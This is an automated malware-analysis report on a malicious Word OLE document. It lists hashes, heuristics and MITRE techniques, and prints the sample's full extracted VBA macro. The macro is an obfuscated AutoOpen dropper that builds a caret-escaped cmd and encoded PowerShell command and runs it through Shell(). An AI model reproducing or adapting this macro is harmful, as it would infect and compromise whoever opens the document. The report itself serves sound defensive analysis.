Office (OLE) malware analysis — malicious · 8be14fa968650fdc

MALICIOUS

Office (OLE)

126.2 KB Created: 2018-06-04 05:07:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: 8d1b81bb86140ee49137f10755c1eac6 SHA-1: 6d773250b5fa65f4b37e740465341c3cc0cd82af SHA-256: 8be14fa968650fdce914522f5bf3b82bd74babaa908f8f9c0bfa89f3d8f48489

150 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The macro includes an Autoopen function and a Shell() call, indicating it is designed to execute arbitrary commands upon opening. The script attempts to construct a command string using various variables and concatenations, but the exact payload and destination are obfuscated. This suggests the document's primary purpose is to act as a downloader for further malicious activity.

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

Next
ZkIovX = ssCTKKIf + Shell(KpiUXirB + Chr(fDQVTzFlZw + vbKeyC + XRFjdqA) + nntasMB + vFmzhO + lTanS + lvMqirfr + FianJj + hVUTfwz + EpFihnnTn, diqzBvlEvt + 0 + vsGBPTJXYF)
For IfEMl = vRRuN To 97374

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18812 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18812 bytes
SHA-256: `472bd6293df97bafcb45334aeafdd4ae375943ece75ddf717e33882558ef5977`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "THTwsNQcNh" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function ZkIovX() On Error Resume Next For ZZtizc = GmVsi To 92521 sFwsq = (rmtfo - ChrW(45616 * 82450) * CDfqr * CInt(VjLAiA + Sqr(69118)) + 42343 - 49452 / 55621 - CDate(tIFjHf - 45867 + 30394 - Hex(tnfNu / 50206)) + (DDjqBr * Tan(vJtvJ))) Next For aVMQqv = lcuYH To 52284 AiDzGI = (jSqmn - ChrW(2632 * 12229) * XNjOZ * CInt(XbOXzL + Sqr(99775)) + 52196 - 17807 / 20858 - CDate(aPCNFv - 78997 + 2018 - Hex(uDViDt / 16289)) + (FjotBn * Tan(HpaHzO))) Next ZkIovX = ssCTKKIf + Shell(KpiUXirB + Chr(fDQVTzFlZw + vbKeyC + XRFjdqA) + nntasMB + vFmzhO + lTanS + lvMqirfr + FianJj + hVUTfwz + EpFihnnTn, diqzBvlEvt + 0 + vsGBPTJXYF) For IfEMl = vRRuN To 97374 UFkUFC = (VcWpZ - ChrW(54931 * 48234) * QVhDM * CInt(uqaqIE + Sqr(63930)) + 76999 - 28658 / 87524 - CDate(CtIBFF - 3719 + 89293 - Hex(jjJOnI / 60106)) + (BwMJmE * Tan(PKdww))) Next End Function Sub Autoopen() On Error Resume Next For hNcIWi = ELPfJ To 39880 OjLDz = (smSjW - ChrW(31626 * 79719) * mvbFvB * CInt(SjGQZ + Sqr(28709)) + 68848 - 80900 / 61910 - CDate(ARzLiw - 51514 + 94427 - Hex(zuuwm / 11802)) + (hSQnaN * Tan(EvAFm))) Next ZkIovX For JIwmz = wrXEw To 2303 VEHYj = (KjhRZ - ChrW(85064 * 11854) * wtQhto * CInt(PowIw + Sqr(29325)) + 13862 - 3726 / 18459 - CDate(TmSrO - 94666 + 44756 - Hex(lbtcr / 43810)) + (tkAwHW * Tan(MkGPJ))) Next End Sub Attribute VB_Name = "nEDiYDGFn" Function nntasMB() On Error Resume Next For QHloj = zUwUo To 28293 hPZcc = (KhsDui - ChrW(95304 * 74703) * EvuuVM * CInt(BTOcrn + Sqr(20859)) + 16739 - 99346 / 5632 - CDate(PRtEVS - 36590 + 35412 - Hex(XEqKj / 47124)) + (QBZts * Tan(qOGNzF))) Next wFqcO = "md VwplwTjVSa" + "nff NVaXENuBoUT" + "EGB" + "iiiT" + "ZsR" + "Vz" + "bJLSE wtOidREII" For WjDrq = Vqzabb To 6590 SwcEtT = (uHZJv - ChrW(41416 * 50727) * zHSNvv * CInt(AzTBCZ + Sqr(31832)) + 51445 - 96540 / 33574 - CDate(AXRdIG - 73775 + 98241 - Hex(cdhvMv / 22653)) + (SIOIw * Tan(wdlsQw))) Next UWWkpbwH = "jw & " + " %^c^o^m^S^p^E" + "^c^% " + " %^c^o^m^S^p" For jbsFVC = UzMbw To 36120 WRYoH = (OIpDh - ChrW(3326 * 85839) * zXNVA * CInt(vCpprs + Sqr(97927)) + 65355 - 37147 / 92471 - CDate(LfTaMM - 7195 + 17081 - Hex(PYmpYT / 19034)) + (UbzFvT * Tan(UbizO))) Next aKUvcLKzdV = "^E^c^% /V" + " " + " /c " + " set %" For jotPV = YunKJ To 25082 jWQAR = (iHNrz - ChrW(66016 * 30847) * DGliF * CInt(VijsZC + Sqr(95338)) + 71275 - 94466 / 62918 - CDate(psfks - 7721 + 51722 - Hex(afHSz / 92958)) + (FKUoCj * Tan(SuAnX))) Next FccrbhHUT = "TIVSt" + "NibnsJMFFv%=dvu" + "BbzH&&set" + " %PG" + "MqAzsbqTEKX%=p" + "&&" + "set" For PZzJha = qkbLC To 19603 fOOQm = (swnQIi - ChrW(70292 * 71675) * lkFjz * CInt(AizlW + Sqr(77826)) + 82695 - 40996 / 67431 - CDate(msTYE - 61524 + 69433 - Hex(aiSmh / 2443)) + (qWRwr * Tan(VKLff))) Next RDEztEzuizp = " %tbij" + "akMCF%=o^w&&set" + " %YaqXXcaZ" + "VnbZJzf%" + "=wdqQomh" + "IdhRb&&set %OWk" + "Yqzw%=!" + "%PG" For iPIBb = GWmRN To 38875 AEGRj = (AwijR - ChrW(49632 * 43081) * EQhIsY * CInt(FlShq + Sqr(65970)) + 52309 - 58996 / 31922 - CDate(JwtqB - 29592 + 86480 - Hex(RfTwjq / 52884)) + (MCFEJ * Tan(vpuTn))) Next QEHVHw = "MqAzsbqTEKX%" + "!&&set %NOiWVAw" + "sCqKzNSo%=i" + "fmAwNwXl" + "h&" + "&set %zOkzT" + "jOqn%=e^r&&s" + "et %" For sfZRSH = ccBDB To 78776 btvJBc = (lWYYM - ChrW(30309 * 79320) * DwhbJ * CInt(mGCdbh + Sqr(97445)) + 53939 - 21499 / 98222 - CDate(PctBu - 72076 + 33481 - Hex(iHJAt / 11172)) + (TbZEVZ * Tan(wontfa))) Next MzGfWhUGZ = "SssTTpdvC%=!" + "%tbijakMCF%!&&s" + "et %qDchRI" + "rTil" + "YU%=s&&s" + "et %TlsitpLzMG" For HJKZUz = wzJKQR To 59504 cFJYjO = (CGdfj - ChrW(56958 * 8158) * BGrQW * CInt(waYIEW + Sqr(52288)) + 31572 - 88611 / 10026 - CDate(AXMhk - 14208 + 82283 - Hex(jHEwoN / 19191)) + (lIEZAI * Tan(ifkPfr))) Next HFzjQZ = "IEDJD%=fFTrCVwJ" + "izvQd&&set %hY" + "Yr" + "TLqfN%=he&&set" + " %z" + "smPtIG%" + "=ll&&!%OWkYq" + "zw%!!%Ss" + "sTTpdvC%!" nntasMB = wFqcO + UWWkpbwH + aKUvcLKzdV + FccrbhHUT + RDEztEzuizp + QEHVHw + MzGfWhUGZ + HFzjQZ End Function Function vFmzhO() On Error Resume Next For mMYXiG = jQwAkn To 80932 ikuufp = (pfHst - ChrW(64673 * 5225) * sLonVs * CInt(RfDzF + Sqr(83002)) + 11598 - 48164 / 32160 - CDate(nkAzU - 70992 + 24220 - Hex(dWsPp / 24919)) + (dQGov * Tan(UBGSPq))) Next dfiZYrAmYbN = "!%zOkzTjOqn%!" + "!%qDchRIrTilY" + "U%!!%hYYrTLq" + "fN%!!%zsmPt" For kRjGqY = zBzXa To 53245 rVfBqq = (bazkUU - ChrW(36299 * 66903) * hFuhWM * CInt(lZRHNb + Sqr(32624)) + 67432 - 27147 / 38893 - CDate(djaRZ - 22 + 81547 - Hex(qjWVD / 74324)) + (HSSju * Tan(ihtcY))) Next mJDIwHl = "IG%!" + " -e IAAoA" + "E4ARQBXAC0" + "ATwBiAEoAR" + "QBDAHQAIAAgAHMA" For bzJQWA = pCTQf To 88845 OVDODN = (zUwQh - ChrW(49342 * 19028) * wjoAQO * CInt(hTAVC + Sqr(94979)) + 22850 - 75305 / 5236 - CDate(mDvJii - 47643 + 21573 - Hex(ciLzo / 51799)) + (qEnbfd * Tan(FnjOiL))) Next zZZBZ = "WQ" + "BTAFQARQBNAC4A" + "SQBPAC4AYwB" + "PAE0AUAByAGUA" + "UwBT" + "AGkATwBuAC4AZAB" + "lAEY" + "ATABBA" + "HQAZQBTAF" For nhvdv = OpUBQ To 79219 mdWTL = (KGHAbH - ChrW(16795 * 53623) * VuQqzr * CInt(zPWsFc + Sqr(1735)) + 69025 - 71412 / 21626 - CDate(bpbRQC - 77200 + 1033 - Hex(fhUWm / 88315)) + (UZlZp * Tan(wjHzS))) Next HIwMVkjOz = "QAUgBFAEEATQA" + "oAFsAUwBZAFMA" + "VABl" + "AE0ALg" + "BpAE8ALgBNAEU" + "ATQBvAFIAeQ" For iGXOQR = mNEiNC To 98482 KPvAGL = (jKzlA - ChrW(30795 * 86925) * KSjzSK * CInt(SDEFH + Sqr(21322)) + 30363 - 91658 / 46020 - CDate(qkmQL - 95499 + 24532 - Hex(iZNPiQ / 33710)) + (SuLdDj * Tan(CzrvA))) Next wjMXKXKHEFM = "BzAHQAcg" + "BF" + "AGEAbQBdAFs" + "AUwB5AFM" + "AVABFAE0AL" + "gBDAG8AbgBWAE" + "UAcgBUAF0AOgA6A" + "EYAcgBv" + "AG0AQ" + "gBBAHMAR" For sRObO = fGiwU To 44437 oltDZ = (nPsVju - ChrW(38793 * 18094) * jTTCL * CInt(lIznQG + Sqr(73222)) + 73342 - 76131 / 91421 - CDate(GisfJt - 35823 + 14658 - Hex(oAvih / 88565)) + (LWKfS * Tan(uCcuP))) Next czRwMGUj = "QA2ADQAUwB0AH" + "IASQBOAGcAK" + "AAnAFI" + "AV" + "gBKAC8AYQA" + "5AHMAdwBF" + "AFA" + "AMQAvAD" + "AATwA4AGcA" vFmzhO = dfiZYrAmYbN + mJDIwHl + zZZBZ + HIwMVkjOz + wjMXKXKHEFM + czRwMGUj End Function Function lTanS() On Error Resume Next For hBcFa = nmQpaZ To 1858 wmlMVG = (FaPcQ - ChrW(47061 * 91173) * pCPiJa * CInt(LuVlt + Sqr(15323)) + 69696 - 41872 / 92991 - CDate(iXMIRQ - 48040 + 17732 - Hex(baNcJU / 84889)) + (anLvrU * Tan(aqrjMO))) Next zXEQNCrCGz = "ZwBx" + "AGsAawAzA" + "E0Aa" + "ABOA" + "EEAKwB1AG8AS" + "wB" + "YAFIATgBGAGo" + "AQwBVAEQATwB" For FSrmA = fYlqVX To 96840 zSLRBJ = (ikpmD - ChrW(48433 * 63978) * YpwYGV * CInt(lXTJTC + Sqr(2543)) + 40735 - 50093 / 38233 - CDate(CdYfS - 20202 + 9511 - Hex(WhBzz / 18759)) + (zNAYzr * Tan(Chozs))) Next KDuIjwBjkiP = "hAE8AdABLAE4AU" + "QBLADcAWgBTAGUA" + "NQBHAGwAMQ" + "BGAEsA" + "VABoAHAAR" + "AB" + "2AH" For GhPPTh = DCtXm To 36955 wMjXWz = (FoUBU - ChrW(58396 * 75475) * rqVROF * CInt(SljPnu + Sqr(89011)) + 38264 - 56814 / 72921 - CDate(wQpzQa - 86795 + 40286 - Hex(tvOwD / 68103)) + (LCCUEp * Tan(uzrHM))) Next jjshT = "YAag" + "BzAG" + "wAYQB3ADEAMwBQA" + "HQAb" + "gB2ADMAYgBzAGYA" + "aQB" + "vA" For LUqPoh = ktauY To 88146 wWXhM = (QiRbR - ChrW(52855 * 14314) * uzZTj * CInt(pYEwJV + Sqr(24300)) + 86145 - 34253 / 53779 - CDate(vKkMY - 50330 + 18657 - Hex(IKcCPw / 25681)) + (PpuBbs * Tan(OXSZY))) Next kWMmOHKzVJ = "HkAVABsA" + "FgAUQBW" + "AHUAUw" + "BhAG4A" + "agBCAG" + "8AYQBVADAAVgB" + "qAFIAa" + "gBkADkATwAvADg" + "ATABF" + "AFMAMABwAGoA" For rXQpTV = WuWZP To 46947 jMWoz = (vwDXaj - ChrW(7145 * 20335) * pFAlE * CInt(mLNvc + Sqr(93200)) + 6855 - 41221 / 36109 - CDate(lCTQC - 3108 + 56781 - Hex(cvuUt / 28811)) + (RGAFRY * Tan(UGwBJt))) Next XtKpoG = "NgBtAG4AbgBIA" + "FQAUwBWAEwAW" + "gBOAG8AOAB" + "mAE" For zrbkD = djtTnc To 52837 IXRSw = (KqDQB - ChrW(92364 * 15181) * NUAskC * CInt(DSkqaK + Sqr(65744)) + 23980 - 62548 / 33500 - CDate(zVLiii - 21263 + 72707 - Hex(JoLiG / 63137)) + (WZTvsZ * Tan(FFhcXw))) Next ppmzHTORGEY = "gAMwA" + "0AEEAVgBnAE0A" + "WABmAEcAdwBUADM" + "ATABVAF" For dWzMwm = ipShw To 79920 OHBjt = (LmNWz - ChrW(45759 * 78334) * dzGno * CInt(fSMWIu + Sqr(45171)) + 84142 - 69793 / 1638 - CDate(tjNrz - 61626 + 86842 - Hex(jQqJcP / 52083)) + (RAsMuJ * Tan(nvvfb))) Next vzhuZkIF = "EAQQBMADIAbQB" + "BAG" + "MAc" + "ABKAHYA" + "bgBWAGUAdA" + "BtAE" + "MAbwB2" lTanS = zXEQNCrCGz + KDuIjwBjkiP + jjshT + kWMmOHKzVJ + XtKpoG + ppmzHTORGEY + vzhuZkIF End Function Function lvMqirfr() On Error Resume Next For sUCMID = bOjRNI To 15746 oJjHh = (GrroTk - ChrW(58231 * 50148) * CASiow * CInt(wTLnWC + Sqr(39477)) + 52689 - 97971 / 71623 - CDate(mwmLY - 88558 + 6582 - Hex(dKXpTJ / 2634)) + (dQviU * Tan(AMPvt))) Next WAPzrlDCz = "AFoAbQBvAC" + "sAMAB" + "vADAAeQBQAG8A" + "MgBtACs" + "AUwAwAHcAb" + "wA2AE8AZwBNAE8" + "AcgBkAH" For DWQpi = sbIqcY To 52938 TdYis = (VjqLDH - ChrW(63629 * 29507) * ZwcAii * CInt(uhHjR + Sqr(49255)) + 19564 - 75492 / 75536 - CDate(CSDWn - 71386 + 4433 - Hex(EUfFl / 51746)) + (cdjuz * Tan(zTMjq))) Next VOsGM = "MAOABFAD" + "UAUA" + "BH" + "AGYAawA0AHQAd" + "gBGAFkARABqAG" + "sAYQBmA" For ILvZD = jEOMb To 72945 ajZOa = (vjhovb - ChrW(86290 * 75646) * FzqmwN * CInt(EIuchE + Sqr(42587)) + 75677 - 32264 / 4310 - CDate(jZoXEm - 90558 + 90463 - Hex(bWzwKk / 65155)) + (PVpozh * Tan(RTwHqK))) Next kTADucfZbM = "FIAOQBQAEgAb" + "wBBAEUASwBNAG4" + "AawBPAHQ" + "ATAA3AGYAMwBxAE" + "sAawBsAFcARQ" + "BGAHQAWABnADMA" + "YwB0AGkA" + "bgBxAHAAQgBXA" For YtdJNK = uErBWS To 64950 wRwXW = (vNIms - ChrW(18444 * 11507) * nnEjjw * CInt(UBWXS + Sqr(39605)) + 33225 - 95682 / 75181 - CDate(OzIXjL - 38127 + 76521 - Hex(cjVXV / 2145)) + (JQDzql * Tan(CcQZzE))) Next rYzRuizE = "HEAaABi" + "AEEAdQBXAGoAQgB" + "ZACsANgA3AFoARA" + "BDAEwA" For dPVLd = zNHck To 86417 WZwdA = (qKAtp - ChrW(69252 * 55766) * GuPlT * CInt(TwRALs + Sqr(77947)) + 58573 - 92428 / 18255 - CDate(NzbMcd - 75395 + 48084 - Hex(NsdVfb / 535)) + (qSrrQJ * Tan(XIzSIh))) Next MIVTzYf = "KwArADQAUgBuAHM" + "ASgBuAEMAUABC" + "ADcA" + "UQ" For OrSbm = BiRcM To 80829 aVvUj = (qndSkz - ChrW(76864 * 71436) * TfVQwB * CInt(mDDpzw + Sqr(24111)) + 3233 - 28120 / 59244 - CDate(nQBNci - 30713 + 83430 - Hex(lYhiw / 30606)) + (KlHvt * Tan(wjsQu))) Next wDzLE = "BHAGUAMwB2AHAAb" + "QB" + "nAHAAZQBTACs" + "AawA" + "wA" + "GYAcwBJAFEA" + "VABHAEMAZ" + "gBIADgAaw" + "BHADQASQB" lvMqirfr = WAPzrlDCz + VOsGM + kTADucfZbM + rYzRuizE + MIVTzYf + wDzLE End Function Function FianJj() On Error Resume Next For tbbDFW = UnGDm To 1479 csNVZ = (jkCQHj - ChrW(62800 * 35390) * RULnW * CInt(wKVcHz + Sqr(90546)) + 46528 - 6987 / 66014 - CDate(uorEW - 43846 + 84034 - Hex(JIZLw / 43126)) + (iBVlrz * Tan(GjirtR))) Next pRzijjwfrmH = "hADMANABNA" + "DYAbgA0AFAAVA" + "A5AFoANw" + "BZAGs" + "AbQBXAGo" + "AY" + "gBJAGMAc" For oMwimo = aPvwUj To 25204 XwYFRP = (CRrVQh - ChrW(22685 * 41444) * daLVva * CInt(JhwHla + Sqr(76168)) + 44202 - 29837 / 32268 - CDate(IjSnz - 55303 + 88730 - Hex(jqRXK / 28405)) + (QUtXrt * Tan(VPXTHI))) Next hUKWv = "wA" + "1AEMAZAA3" + "ADQAQwBXAGI" + "AcAAxAEMARgBCA" + "GkAMABqAHA" For iUFAQD = Mpaibl To 87761 sKotqK = (drZXK - ChrW(26753 * 7135) * fUliC * CInt(LXtLI + Sqr(8652)) + 59935 - 36767 / 78627 - CDate(HDjWN - 60358 + 28552 - Hex(RLrOa / 86250)) + (YIZuOq * Tan(rPhmu))) Next qTtac = "Acw" + "BOAG8AdwBSA" + "C8AKwBNAG4A" + "NABNAFEAOQB" + "KAC8AVQB" + "mAHkA" For iFnKCJ = GihCA To 11639 Rqfzw = (SkwFY - ChrW(51529 * 49908) * MTpak * CInt(jLXhLR + Sqr(55958)) + 73236 - 87517 / 52123 - CDate(uIWlA - 69407 + 69852 - Hex(uPwJil / 53777)) + (KuKsbQ * Tan(jFTwl))) Next friEjNoNY = "RAA2A" + "EIAWgBaAGgAQwA" + "zAG" + "YASgAvADUAd" + "wBl" + "AFcA" + "ZQBaAFk" + "ARABs" For XjqVii = DTMjE To 70301 RlCpvj = (Srijui - ChrW(67252 * 74835) * jlwLWj * CInt(ozHJj + Sqr(82958)) + 64977 - 52245 / 75417 - CDate(ZHwCdD - 3732 + 92891 - Hex(oImnA / 68811)) + (nfwGZ * Tan(hdOqn))) Next URGtEXF = "AF" + "oA" + "ZwBCAGUAYg" + "BxADcAa" + "QB" + "EADgAZ" For CbKHvD = bodDi To 94024 RvzCL = (ZPDCd - ChrW(63864 * 34754) * ZVonP * CInt(tdiAqk + Sqr(91398)) + 16448 - 54173 / 18761 - CDate(PJKBmi - 22746 + 59832 - Hex(AmXHiO / 71996)) + (BSoQTV * Tan(oRwMa))) Next iUwjb = "wBUAEsAdgBEAHAA" + "dABkAEkA" + "KwB" + "1AE" + "QA" + "dABIAEUAb" + "AB6AGcATQBtADIA" + "dwBhADYARQBkAFY" + "AaABkAFQ" For QnuaN = HEnrc To 15346 aHGWWb = (wHJULw - ChrW(76574 * 79397) * VfzEU * CInt(wdhQqd + Sqr(89347)) + 26934 - 52554 / 22864 - CDate(kuNhu - 55430 + 70288 - Hex(OJiZOR / 69761)) + (qRMdD * Tan(qIdpF))) Next EMUMH = "AVAB4" + "ACsAdgBJ" + "AFY" + "AYQA3" + "AGkAYwBi" + "AFUAUAByAFgAT" + "wBRAHIA" + "MwB" FianJj = pRzijjwfrmH + hUKWv + qTtac + friEjNoNY + URGtEXF + iUwjb + EMUMH End Function Function hVUTfwz() On Error Resume Next For VCtiJD = tbjaC To 29148 FaUESz = (LEwPi - ChrW(8741 * 43815) * FEFXz * CInt(MQvQL + Sqr(10282)) + 82832 - 82718 / 19414 - CDate(JObIQn - 48192 + 42972 - Hex(iJwzS / 50752)) + (opVbVi * Tan(VtJYn))) Next YMAWEdVIYJ = "YAGgARwB" + "iAHkAZwBN" + "AE8AQgAr" + "AFAAYw" + "BBAG4ASwBy" For uPUuF = UcOnR To 60766 SUzOTc = (MQBViV - ChrW(59817 * 96854) * OGOlP * CInt(PpErN + Sqr(10932)) + 42103 - 50369 / 2986 - CDate(vmMuY - 60453 + 81813 - Hex(wuiNzL / 68622)) + (WWAhCu * Tan(IFHJb))) Next mLcSK = "AEsAOQB" + "XAGIAMwBQAGQAbA" + "BDAFEAbQA5A" + "EkAbQ" + "BDAEQALwB1AEo" For kqqAR = jTDijP To 37082 UjCqsI = (jzZUBB - ChrW(34309 * 7782) * QVOjOD * CInt(NhYAHS + Sqr(77470)) + 32950 - 33830 / 68476 - CDate(zbCRR - 37813 + 54516 - Hex(rQjQl / 34126)) + (NRNAn * Tan(QspIT))) Next KqLiDl = "AQwB" + "XA" + "E4AaABIA" + "HUAbwBkA" + "EYAN" + "gArAEEAcwBy" + "AEMAZABrA" + "G0AWABOAEkA" + "dQBrAFcASgB" + "XAGsATQBDA" For fQLIC = tScmz To 8003 DNMXjR = (isFWDQ - ChrW(93425 * 67480) * jNJzLw * CInt(jHdwrz + Sqr(74198)) + 51332 - 35847 / 18158 - CDate(jKEUI - 82446 + 62367 - Hex(nLoFl / 40045)) + (itZpG * Tan(HdjQDS))) Next CGSzCR = "FUAdgBpAE8" + "AOQA5AHQAZA" + "AzAGcAYgBSAEcAO" + "QBzAG" + "kANQB" For iFiDuK = YfOFS To 32851 JZrCri = (QtBcCW - ChrW(53413 * 64617) * EEYkq * CInt(jkLbHm + Sqr(7207)) + 59079 - 38048 / 45520 - CDate(zwEoOL - 77864 + 28306 - Hex(Mdbro / 72482)) + (HKAtjv * Tan(sHqQWu))) Next iwDiGYNUhUU = "uAFIAeA" + "BVADkAWgBUAGI" + "ASgB" + "DAHEAOQA0AEIASw" + "BuAHIAMwBOAHYAZ" + "ABkADAAUgBUAFQA" + "bAB4ADcA" + "agBaAHcAUwA" For OhFNY = djqsjV To 48087 DJTmV = (wUTdJC - ChrW(43944 * 22671) * XvRUEz * CInt(WiPINY + Sqr(38415)) + 15046 - 19549 / 20047 - CDate(GpzXi - 2071 + 97165 - Hex(uObEW / 12864)) + (BSzSB * Tan(XHnpW))) Next fiOVonB = "xAGUAWABvAEsAQQ" + "BoA" + "G0AMgB1ADcAYQ" + "BvAHMATQB" + "RA" + "EwAaAB" + "IA" + "FgAM" For iYALT = fQWjAR To 32069 oDjua = (BvWBKs - ChrW(16645 * 4028) * hKhHnP * CInt(tDHFrp + Sqr(90033)) + 34313 - 35740 / 62360 - CDate(jjTbs - 30360 + 57741 - Hex(nBzBb / 80965)) + (ipYTJd * Tan(vKdnU))) Next PHCpCkuri = "wBNADYA" + "LwBDAEEARABo" + "AG4AQgArAFE" + "AYwBkAEoAZgBw" + "AHYAcABTACsAcgB" + "IA" + "GYANwAvAFQAOA" + "A9ACc" + "AKQAgACw" For LAEid = cWOGSR To 56559 crtCjP = (HFszW - ChrW(46659 * 50326) * JzFvcA * CInt(wQXkNH + Sqr(37819)) + 68121 - 12402 / 3257 - CDate(BdEQbG - 10672 + 77134 - Hex(vMjHS / 4604)) + (FINWAb * Tan(vcfvBF))) Next EbknV = "AIABbAHMAWQ" + "BTAFQAZQBNAC" + "4AS" + "QBPAC4AYwBPA" + "E0AcAByA" hVUTfwz = YMAWEdVIYJ + mLcSK + KqLiDl + CGSzCR + iwDiGYNUhUU + fiOVonB + PHCpCkuri + EbknV End Function Function EpFihnnTn() On Error Resume Next For VmzqWw = tWwpow To 81918 hQSLWO = (tffamI - ChrW(75689 * 92543) * DiQZZ * CInt(QvFELm + Sqr(28434)) + 63197 - 24234 / 58706 - CDate(KvPdqj - 48667 + 90616 - Hex(SLwKXF / 50085)) + (lGjQKw * Tan(WFRCoi))) Next qmUTwVYRwac = "GUAcwBTAGkATw" + "BOAC4AYwBP" + "AG0Ac" + "AB" + "SAGUA" + "cwBzAGkAT" + "wBOAG0AbwBkA" + "GUAXQA6ADoAR" + "ABFAEM" + "ATwBtAHAAUgBFA" For Swmwsh = NwqijS To 10834 vhFMbv = (wjAwP - ChrW(13613 * 70825) * WGOTs * CInt(XZNsF + Sqr(46554)) + 14293 - 80352 / 73423 - CDate(dtWKjz - 53263 + 5967 - Hex(MzDzu / 33360)) + (cjUXRw * Tan(zYHsT))) Next ianlBS = "HMAcwAgACkAf" + "AAgACUA" + "ewBOAEUA" + "VwAtAE" + "8AYgBK" + "AEU" + "AQwB0ACAA" + "IABTAH" + "kAUwBUAGUA" + "TQAuAEk" For XzIwV = VkaiZ To 60074 QjCTb = (bfvbV - ChrW(27819 * 24974) * jXmcEI * CInt(jNpHbZ + Sqr(91127)) + 80890 - 3934 / 95614 - CDate(sFhhzE - 61145 + 47467 - Hex(pbXmiI / 79264)) + (NoGUXi * Tan(SMMztj))) Next dlaPBjz = "AbwA" + "uAHMAdAByAGUAQ" + "QBtAH" + "IARQBhAG" + "QAZQBS" + "ACgAJA" For tdaVHz = ZhwjQs To 9127 CYSkFc = (raVbz - ChrW(27351 * 71575) * fiLAhu * CInt(MBsqn + Sqr(13900)) + 18541 - 77537 / 12856 - CDate(fdJnjJ - 50798 + 24528 - Hex(lAAfzk / 77493)) + (QBErWu * Tan(MRsPoG))) Next MUNjHlRwRH = "Bf" + "ACwAIABbAFMAWQ" + "BTAHQARQB" + "NAC4A" + "dABl" + "AHgAVA" + "AuAGUAbgBDAG8A" + "RABpAG4A" + "ZwBdAD" + "oAOgB" For mOpRkb = wVlnB To 16182 LVsFz = (smBtI - ChrW(67151 * 35818) * PRKXZE * CInt(lqiAM + Sqr(68065)) + 34195 - 61633 / 37716 - CDate(VmiAw - 329 + 19587 - Hex(nozMvI / 2944)) + (djEaP * Tan(EwafJE))) Next XfItzJuif = "BAFMAQ" + "wBpAGkAKQB9AHwA" + "IAA" + "lACAAewA" + "gACQAXw" + "AuAHIARQBBA" For jbGipn = oaTQAi To 72863 OYuZz = (Fibto - ChrW(86137 * 65517) * aQqFCE * CInt(siGUF + Sqr(40587)) + 5461 - 31167 / 75731 - CDate(hqpjB - 70097 + 69306 - Hex(jdsfo / 1405)) + (OIACav * Tan(hBWuoF))) Next iYGWhzbhKz = "EQAVABPA" + "EUATgBkACgAIA" + "Ap" + "AH0AIAApAH" For iCSoTH = swZjG To 99220 aUNpF = (qNCNM - ChrW(58164 * 2086) * nNGvi * CInt(BaaqV + Sqr(86801)) + 85965 - 41608 / 22629 - CDate(VUvNGj - 17421 + 9208 - Hex(fDVAEb / 79850)) + (tEiSk * Tan(nQzuWU))) Next fzkVAjGBDD = "wAIAAuACg" + "AIAAkAHAA" + "UwBoAE8AbQBFAFs" + "ANABdA" + "CsAJ" + "ABQAHMA" + "aABPAG0AR" + "QBbADMA" + "NABdA" For jVBas = inBHEB To 24622 IjaWPf = (zQcJls - ChrW(15323 * 94650) * mmkWw * CInt(TZMjHT + Sqr(83808)) + 94693 - 58386 / 31615 - CDate(cfjZX - 14257 + 78318 - Hex(hEYRG / 99040)) + (quVRRp * Tan(aNAKf))) Next zpBHhSwtZN = "CsAJwBYACcAKQA=" EpFihnnTn = qmUTwVYRwac + ianlBS + dlaPBjz + MUNjHlRwRH + XfItzJuif + iYGWhzbhKz + fzkVAjGBDD + zpBHhSwtZN End Function

SHA-256: 472bd6293df97bafcb45334aeafdd4ae375943ece75ddf717e33882558ef5977

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "THTwsNQcNh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ZkIovX()
On Error Resume Next
For ZZtizc = GmVsi To 92521
         sFwsq = (rmtfo - ChrW(45616 * 82450) * CDfqr * CInt(VjLAiA + Sqr(69118)) + 42343 - 49452 / 55621 - CDate(tIFjHf - 45867 + 30394 - Hex(tnfNu / 50206)) + (DDjqBr * Tan(vJtvJ)))
Next
For aVMQqv = lcuYH To 52284
         AiDzGI = (jSqmn - ChrW(2632 * 12229) * XNjOZ * CInt(XbOXzL + Sqr(99775)) + 52196 - 17807 / 20858 - CDate(aPCNFv - 78997 + 2018 - Hex(uDViDt / 16289)) + (FjotBn * Tan(HpaHzO)))
Next
ZkIovX = ssCTKKIf + Shell(KpiUXirB + Chr(fDQVTzFlZw + vbKeyC + XRFjdqA) + nntasMB + vFmzhO + lTanS + lvMqirfr + FianJj + hVUTfwz + EpFihnnTn, diqzBvlEvt + 0 + vsGBPTJXYF)
For IfEMl = vRRuN To 97374
